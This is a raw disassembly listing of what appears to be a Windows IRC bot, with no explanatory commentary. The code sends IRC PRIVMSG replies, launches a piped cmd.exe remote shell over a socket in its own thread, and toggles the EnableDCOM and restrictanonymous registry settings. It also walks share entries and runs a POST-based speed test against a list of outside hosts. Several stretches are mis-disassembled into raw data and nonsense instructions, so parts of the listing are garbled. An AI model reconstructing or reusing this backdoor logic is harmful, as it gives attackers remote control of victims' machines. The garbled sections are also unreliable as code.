; ---------------------------------------------------------------------------


loc_419421:				; CODE XREF: sub_4193EE+28j
		push	1
		pop	eax
		leave
		retn
sub_4193EE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_4EE7EC
		push	dword ptr [ebp+0Ch]
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419469
		push	7D0h
		call	ds:dword_4F12F4	; Sleep
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+0Ch]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41D260
		add	esp, 10h
		jmp	short loc_419480
; ---------------------------------------------------------------------------


loc_419469:				; CODE XREF: seg000:00419440j
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	offset aS_24	; CODE XREF: seg000:004194EFj
					; "%s"
		push	eax
		call	sub_41D260
		add	esp, 0Ch


loc_419480:				; CODE XREF: seg000:00419467j
		lea	eax, [ebp-200h]
		push	0
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-200h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_451540
		test	eax, eax
		jg	short loc_4194A9
		call	sub_4193BE


loc_4194A9:				; CODE XREF: seg000:004194A2j
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4194AD:				; DATA XREF: sub_419602+174o
		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4EE7B0
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp-20Ch]
		push	esi
		push	eax
		push	ds:dword_4EE7A4
		call	near ptr 3D0000h
		jnp	short near ptr loc_419472+4
		ror	byte ptr [edi],	84h
		wait
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 75FC7D39h, 0F8458D2Bh, 0A035FF50h, 0E8004EE7h, 0FFFB6AF4h
		dd 74C08595h, 0F87D810Dh, 103h,	99850Fh, 0A6A0000h, 12F415FFh
		dd 9DEB004Fh, 7D39C033h, 801076FCh, 0FDF405BCh,	740AFFFFh
		dd 453B4054h, 89F072FCh, 8D56FC75h, 0FFFDF485h,	0E85057FFh
		dd 3BB0h, 8D0CC483h, 5057F445h,	8DFC75FFh, 0FFFDF485h
		dd 35FF50FFh, 4EE7A4h, 137415FFh, 0C085004Fh, 858D6D74h
		dd 0FFFFFDF4h, 35FF5350h, 4EE7E4h, 0FFFEA1E8h, 0CC483FFh
		dd 0FFFF38E9h, 458940FFh, 68AFEBFCh, 44EC78h, 0E435FF53h
		dd 0E8004EE7h, 0FFFFFE82h, 0E80875FFh, 0FFFEFAAFh, 6A10C483h
		dd 6A4AE801h, 0E845FFFBh, 0FFFFFE02h, 44ECC068h, 35FF5300h
		dd 4EE7E4h, 0FFFE59E8h,	875FFFFh, 0FEFA86E8h, 10C483FFh
		dd 6A22E857h, 684DFFFBh, 44ECFCh, 0E435FF53h, 0E8004EE7h
		dd 0FFFFFE36h, 0E80875FFh, 0FFFEFA63h, 5710C483h, 0FB69FFE8h
		db 0FFh, 0Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419602	proc near		; CODE XREF: seg000:00407C1Dp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		push	edi
		call	sub_4193BE
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:dword_4515AC
		test	eax, eax
		jz	loc_4196FC
		lea	eax, [ebp+var_1C]
		mov	edi, ds:dword_4F1394
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], 1
		mov	[ebp+var_18], esi
		call	edi ; dword_4F1394
		test	eax, eax
		jz	loc_4196FC
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi ; dword_4F1394
		test	eax, eax
		jz	loc_4196FC
		mov	edi, ds:dword_4F1390
		push	3
		push	esi
		push	esi
		push	offset dword_4EE7A8
		call	edi ; dword_4F1390
		push	eax
		push	[ebp+var_8]
		call	edi ; dword_4F1390
		push	eax
		call	near ptr 3D0000h
		add	eax, 5F74C085h
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41D100
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41D100
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_178]
		push	offset dword_4EE7F0
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 3D0000h
		db	65h
		test	eax, eax
		jnz	short loc_419704


loc_4196FC:				; CODE XREF: sub_419602+2Ej
					; sub_419602+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_4197B6
; ---------------------------------------------------------------------------


loc_419704:				; CODE XREF: sub_419602+F8j
		push	[ebp+var_4]
		mov	edi, ds:dword_4F12FC
		call	edi ; dword_4F12FC
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	ds:dword_4EE7A4, eax
		mov	eax, [ebp+var_8]
		mov	ds:dword_4EE7AC, eax
		mov	eax, [ebp+var_2C]
		mov	ds:dword_4EE7A0, eax
		call	edi ; dword_4F12FC
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	ds:dword_4EE7E4, eax
		jz	short loc_41973E
		push	[ebp+arg_4]
		jmp	short loc_419743
; ---------------------------------------------------------------------------


loc_41973E:				; CODE XREF: sub_419602+135j
		push	offset dword_4EE7F4


loc_419743:				; CODE XREF: sub_419602+13Aj
		push	offset dword_4EE7B0
		call	sub_41D260
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_44ED4C
		call	sub_408D3F
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	ds:dword_4523C0[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset loc_4194AD
		push	esi
		push	esi
		call	ds:dword_4F131C	; CreateThread
		cmp	eax, esi
		mov	ds:dword_4523CC[edi], eax
		jnz	short loc_4197B4
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_44ED84
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4161A7
		add	esp, 10h


loc_4197B4:				; CODE XREF: sub_419602+189j
		xor	eax, eax


loc_4197B6:				; CODE XREF: sub_419602+FDj
		pop	edi
		pop	esi
		leave
		retn
sub_419602	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-98h]
		rep movsd
		pop	edi
		pop	esi
		push	dword ptr [ebp-8]
		cmp	dword ptr [ebp-10h], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp-94h]
		push	dword ptr [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-98h]
		jz	short loc_419801
		call	near ptr loc_419819+1
		jmp	short loc_419806
; ---------------------------------------------------------------------------


loc_419801:				; CODE XREF: seg000:004197F8j
		call	loc_419B3E


loc_419806:				; CODE XREF: seg000:004197FFj
		add	esp, 10h
		push	dword ptr [ebp-14h]
		call	sub_40905B
		pop	ecx
		push	0
		call	near ptr 3D0000h


loc_419819:				; CODE XREF: seg000:004197FAp
		rep push ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_4515C0, edi
		jnz	loc_41994C
		lea	eax, [ebp-4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_451560
		test	eax, eax
		jnz	short loc_4198A5
		mov	ax, ds:word_44EE10
		mov	[ebp-6], ax
		lea	eax, [ebp-6]
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	dword ptr [ebp-4]
		call	ds:dword_451518
		test	eax, eax
		jz	short loc_419887
		push	offset unk_44EE20
		jmp	short loc_41988C
; ---------------------------------------------------------------------------


loc_419887:				; CODE XREF: seg000:0041987Ej
		push	offset dword_44EE60


loc_41988C:				; CODE XREF: seg000:00419885j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_4514D0
		jmp	short loc_4198B8
; ---------------------------------------------------------------------------


loc_4198A5:				; CODE XREF: seg000:00419850j
		lea	eax, [ebp-214h]
		push	offset unk_44EE98
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx


loc_4198B8:				; CODE XREF: seg000:004198A3j
		cmp	[ebp+14h], edi
		jnz	short loc_4198D7
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 14h


loc_4198D7:				; CODE XREF: seg000:004198BBj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4161A7
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_451560
		test	eax, eax
		jnz	short loc_419945
		lea	eax, [ebp-8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-8], 1
		call	ds:dword_451518
		test	eax, eax
		jz	short loc_419927
		push	offset unk_44EEF8
		jmp	short loc_41992C
; ---------------------------------------------------------------------------


loc_419927:				; CODE XREF: seg000:0041991Ej
		push	offset unk_44EF50


loc_41992C:				; CODE XREF: seg000:00419925j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_4514D0
		jmp	short loc_41995F
; ---------------------------------------------------------------------------


loc_419945:				; CODE XREF: seg000:004198FCj
		push	offset unk_44EFA0
		jmp	short loc_419951
; ---------------------------------------------------------------------------


loc_41994C:				; CODE XREF: seg000:0041982Dj
		push	offset unk_44EFF8


loc_419951:				; CODE XREF: seg000:0041994Aj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx


loc_41995F:				; CODE XREF: seg000:00419943j
		cmp	[ebp+14h], edi
		jnz	short loc_41997E
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 14h


loc_41997E:				; CODE XREF: seg000:00419962j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4161A7
		cmp	ds:dword_4515E8, edi
		pop	ecx
		jnz	loc_419AF9
		push	ebx
		mov	[ebp-4], edi
		mov	[ebp-14h], edi
		mov	[ebp-0Ch], edi


loc_4199A1:				; CODE XREF: seg000:00419ADDj
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_45143C
		cmp	eax, edi
		mov	[ebp-10h], eax
		jz	short loc_419A3E
		cmp	eax, 0EAh
		jz	short loc_419A3E
		mov	esi, offset off_44EDD0


loc_4199D2:				; CODE XREF: seg000:00419A37j
		push	dword ptr [esi]
		push	edi
		call	sub_418611
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4199E9
		push	offset unk_44F0C8
		jmp	short loc_4199EE
; ---------------------------------------------------------------------------


loc_4199E9:				; CODE XREF: seg000:004199E0j
		push	offset unk_44F104


loc_4199EE:				; CODE XREF: seg000:004199E7j
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41D360
		add	esp, 10h
		cmp	[ebp+14h], edi
		jnz	short loc_419A21
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 14h


loc_419A21:				; CODE XREF: seg000:00419A05j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4161A7
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_44EDF0
		jl	short loc_4199D2
		jmp	loc_419AD6
; ---------------------------------------------------------------------------


loc_419A3E:				; CODE XREF: seg000:004199C4j
					; seg000:004199CBj
		mov	esi, [ebp-8]
		push	1
		pop	ebx
		cmp	[ebp-4], ebx
		jb	loc_419ACD


loc_419A4D:				; CODE XREF: seg000:00419AC9j
		mov	edi, [esi]
		push	edi
		call	sub_4201B0
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_419AC2
		push	edi
		call	sub_4184FE
		push	eax
		push	0
		call	sub_418611
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_419A7C
		push	offset unk_44F044
		jmp	short loc_419A81
; ---------------------------------------------------------------------------


loc_419A7C:				; CODE XREF: seg000:00419A73j
		push	offset unk_44F080


loc_419A81:				; CODE XREF: seg000:00419A7Aj
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41D360
		add	esp, 10h
		cmp	dword ptr [ebp+14h], 0
		jnz	short loc_419AB5
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 14h


loc_419AB5:				; CODE XREF: seg000:00419A99j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4161A7
		pop	ecx


loc_419AC2:				; CODE XREF: seg000:00419A5Cj
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp-4]
		jbe	short loc_419A4D
		xor	edi, edi


loc_419ACD:				; CODE XREF: seg000:00419A47j
		push	dword ptr [ebp-8]
		call	ds:dword_451580


loc_419AD6:				; CODE XREF: seg000:00419A39j
		cmp	dword ptr [ebp-10h], 0EAh
		jz	loc_4199A1
		lea	eax, [ebp-214h]
		push	offset unk_44F14C
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_419B0C
; ---------------------------------------------------------------------------


loc_419AF9:				; CODE XREF: seg000:00419991j
		lea	eax, [ebp-214h]
		push	offset unk_44F18C
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx


loc_419B0C:				; CODE XREF: seg000:00419AF7j
		cmp	[ebp+14h], edi
		jnz	short loc_419B2A
		push	edi
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 14h


loc_419B2A:				; CODE XREF: seg000:00419B0Fj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4161A7
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_419B3E:				; CODE XREF: seg000:loc_419801p
		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_4515C0, edi
		jnz	loc_419C6C
		lea	eax, [ebp-4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_451560
		test	eax, eax
		jnz	short loc_419BC9
		mov	ax, ds:word_44F1D8
		mov	[ebp-6], ax
		lea	eax, [ebp-6]
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom_0 ; "EnableDCOM"
		push	dword ptr [ebp-4]
		call	ds:dword_451518
		test	eax, eax
		jz	short loc_419BAB
		push	offset unk_44F1E8
		jmp	short loc_419BB0
; ---------------------------------------------------------------------------


loc_419BAB:				; CODE XREF: seg000:00419BA2j
		push	offset dword_44F224


loc_419BB0:				; CODE XREF: seg000:00419BA9j
		lea	eax, [ebp-220h]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_4514D0
		jmp	short loc_419BDC
; ---------------------------------------------------------------------------


loc_419BC9:				; CODE XREF: seg000:00419B74j
		lea	eax, [ebp-220h]
		push	offset unk_44F25C
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx


loc_419BDC:				; CODE XREF: seg000:00419BC7j
		cmp	[ebp+14h], edi
		jnz	short loc_419BFB
		push	1
		lea	eax, [ebp-220h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 14h


loc_419BFB:				; CODE XREF: seg000:00419BDFj
		lea	eax, [ebp-220h]
		push	eax
		call	sub_4161A7
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_451560
		test	eax, eax
		jnz	short loc_419C65
		lea	eax, [ebp-8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanon_0 ; "restrictanonymous"
		push	dword ptr [ebp-4]
		mov	[ebp-8], edi
		call	ds:dword_451518
		test	eax, eax
		jz	short loc_419C47
		push	offset unk_44F2BC
		jmp	short loc_419C4C
; ---------------------------------------------------------------------------


loc_419C47:				; CODE XREF: seg000:00419C3Ej
		push	offset unk_44F314


loc_419C4C:				; CODE XREF: seg000:00419C45j
		lea	eax, [ebp-220h]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_4514D0
		jmp	short loc_419C7F
; ---------------------------------------------------------------------------


loc_419C65:				; CODE XREF: seg000:00419C20j
		push	offset unk_44F364
		jmp	short loc_419C71
; ---------------------------------------------------------------------------


loc_419C6C:				; CODE XREF: seg000:00419B51j
		push	offset unk_44F3BC


loc_419C71:				; CODE XREF: seg000:00419C6Aj
		lea	eax, [ebp-220h]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx


loc_419C7F:				; CODE XREF: seg000:00419C63j
		cmp	[ebp+14h], edi
		jnz	short loc_419C9E
		push	1
		lea	eax, [ebp-220h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 14h


loc_419C9E:				; CODE XREF: seg000:00419C82j
		lea	eax, [ebp-220h]
		push	eax
		call	sub_4161A7
		cmp	ds:dword_4515E8, edi
		pop	ecx
		jnz	loc_419E10
		mov	esi, offset off_44EDD0


loc_419CBC:				; CODE XREF: seg000:00419D25j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	edi
		call	sub_418565
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_419CD7
		push	offset unk_44F408
		jmp	short loc_419CDC
; ---------------------------------------------------------------------------


loc_419CD7:				; CODE XREF: seg000:00419CCEj
		push	offset dword_44F444


loc_419CDC:				; CODE XREF: seg000:00419CD5j
		lea	eax, [ebp-220h]
		push	200h
		push	eax
		call	sub_41D360
		add	esp, 10h
		cmp	[ebp+14h], edi
		jnz	short loc_419D0F
		push	1
		lea	eax, [ebp-220h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 14h


loc_419D0F:				; CODE XREF: seg000:00419CF3j
		lea	eax, [ebp-220h]
		push	eax
		call	sub_4161A7
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_44EDE0
		jl	short loc_419CBC
		push	ebx
		call	near ptr 3D0000h
		or	dword ptr [ebx-7ABE4C08h], 0BE840FFFh
; ---------------------------------------------------------------------------
		db 0
		dd 0C78B0000h, 3C01E083h, 0A7850F01h, 80000000h, 840F41FBh
		dd 9Eh,	56F3BE0Fh, 44F48868h, 0EC458D00h, 0E8500A6Ah, 35FCh
		dd 0F48C6856h, 458D0044h, 500A6AE0h, 35EBE8h, 20C48300h
		dd 50E0458Dh, 155015FFh, 0F8830045h, 8D677503h,	8D50E045h
		dd 6A50EC45h, 0E7CFE800h, 0C483FFFFh, 8DC0850Ch, 7550EC45h
		dd 0F4946807h, 5EB0044h, 44F4D068h, 0E0858D00h,	68FFFFFDh
		dd 200h, 35A2E850h, 0C4830000h,	147D8310h, 6A1A7500h, 0E0858D01h
		dd 0FFFFFFFDh, 0FF501075h, 75FF0C75h, 767FE808h, 0C483FFFEh
		dd 0E0858D14h, 50FFFFFDh, 0FFC3BAE8h, 0C3FE59FFh, 850FEFD1h
		dd 0FFFFFF42h, 0FDE0858Dh, 1468FFFFh, 500044F5h, 3457E8h
		dd 0FF335900h, 13EB5B59h
; ---------------------------------------------------------------------------


loc_419E10:				; CODE XREF: seg000:00419CB1j
		lea	eax, [ebp-220h]
		push	offset unk_44F554
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		cmp	[ebp+14h], edi
		jnz	short loc_419E41
		push	edi
		lea	eax, [ebp-220h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 14h


loc_419E41:				; CODE XREF: seg000:00419E26j
		lea	eax, [ebp-220h]
		push	eax
		call	sub_4161A7
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419E55	proc near		; CODE XREF: seg000:0041A115p
					; seg000:0041A127p ...

arg_0		= dword	ptr  4

		call	ds:dword_4F1340	; GetTickCount
		push	eax
		call	sub_41DB90
		pop	ecx
		call	sub_41DBA0
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_419E55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E6F	proc near		; CODE XREF: seg000:0041A11Ep
					; seg000:0041A130p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AC70
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A046
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41D100
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_4024FB
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A046
		push	50h
		call	ds:dword_4514F4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	ds:dword_451570
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A046
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A046
		push	32003h
		call	sub_41FD90
		mov	edi, ds:dword_4F1340
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi ; dword_4F1340
		push	eax
		call	sub_41DB90
		call	sub_41DBA0
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41D100
		push	32000h
		push	esi
		push	ebx
		call	sub_41D100
		push	ebx
		call	sub_41AC70
		push	323EAh
		mov	ebx, eax
		call	sub_41FD90
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41D260
		push	[ebp+var_8]
		push	esi
		call	sub_41E560
		push	offset asc_44F5D4 ; "\r\n"
		push	esi
		call	sub_41E560
		add	esp, 40h
		push	esi
		call	sub_41AC70
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi ; dword_4F1340
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_419FC6
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_419F96
; ---------------------------------------------------------------------------


loc_419F93:				; CODE XREF: sub_419E6F+155j
		mov	eax, [ebp+arg_0]


loc_419F96:				; CODE XREF: sub_419E6F+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_419FA6
		push	[ebp+var_C]
		jmp	short loc_419FA7
; ---------------------------------------------------------------------------


loc_419FA6:				; CODE XREF: sub_419E6F+130j
		push	ebx


loc_419FA7:				; CODE XREF: sub_419E6F+135j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A02D
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_419F93


loc_419FC6:				; CODE XREF: sub_419E6F+118j
		call	edi ; dword_4F1340
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	ds:flt_4394DC
		fst	[ebp+arg_0]
		fcomp	ds:flt_4394D8
		fnstsw	ax
		sahf
		jnz	short loc_419FEE
		fld1
		fstp	[ebp+arg_0]


loc_419FEE:				; CODE XREF: sub_419E6F+178j
		push	[ebp+var_4]
		call	ds:dword_451588
		push	[ebp+var_8]
		call	sub_41B8B0
		push	esi
		call	sub_41B8B0
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	ds:flt_4394D4
		fmul	ds:flt_4394D0
		call	sub_41F33C


loc_41A028:				; CODE XREF: sub_419E6F+1D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A02D:				; CODE XREF: sub_419E6F+147j
		push	[ebp+var_4]
		call	ds:dword_451588
		push	[ebp+var_8]
		call	sub_41B8B0
		push	esi
		call	sub_41B8B0
		pop	ecx
		pop	ecx


loc_41A046:				; CODE XREF: sub_419E6F+19j
					; sub_419E6F+42j ...
		xor	eax, eax
		jmp	short loc_41A028
sub_419E6F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	dword ptr [ebp-4], 3
		mov	dword ptr [ebp-3Ch], offset aWww_schlund_ne ; "www.schlund.net"
		mov	dword ptr [ebp-38h], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	dword ptr [ebp-34h], offset aVerio_fr ;	"verio.fr"
		mov	dword ptr [ebp-30h], offset aWww_1und1_de ; "www.1und1.de"
		mov	dword ptr [ebp-2Ch], offset aWww_switch_ch ; "www.switch.ch"
		mov	dword ptr [ebp-28h], offset aWww_belwue_de ; "www.belwue.de"
		mov	dword ptr [ebp-24h], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	dword ptr [ebp-20h], offset aWww_google_it ; "www.google.it"
		mov	dword ptr [ebp-6Ch], offset aWww_xo_net	; "www.xo.net"
		mov	dword ptr [ebp-68h], offset aWww_stanford_e ; "www.stanford.edu"
		mov	dword ptr [ebp-64h], offset aWww_verio_com ; "www.verio.com"
		mov	dword ptr [ebp-60h], offset aWww_nocster_co ; "www.nocster.com"
		mov	dword ptr [ebp-5Ch], offset aWww_rit_edu ; "www.rit.edu"
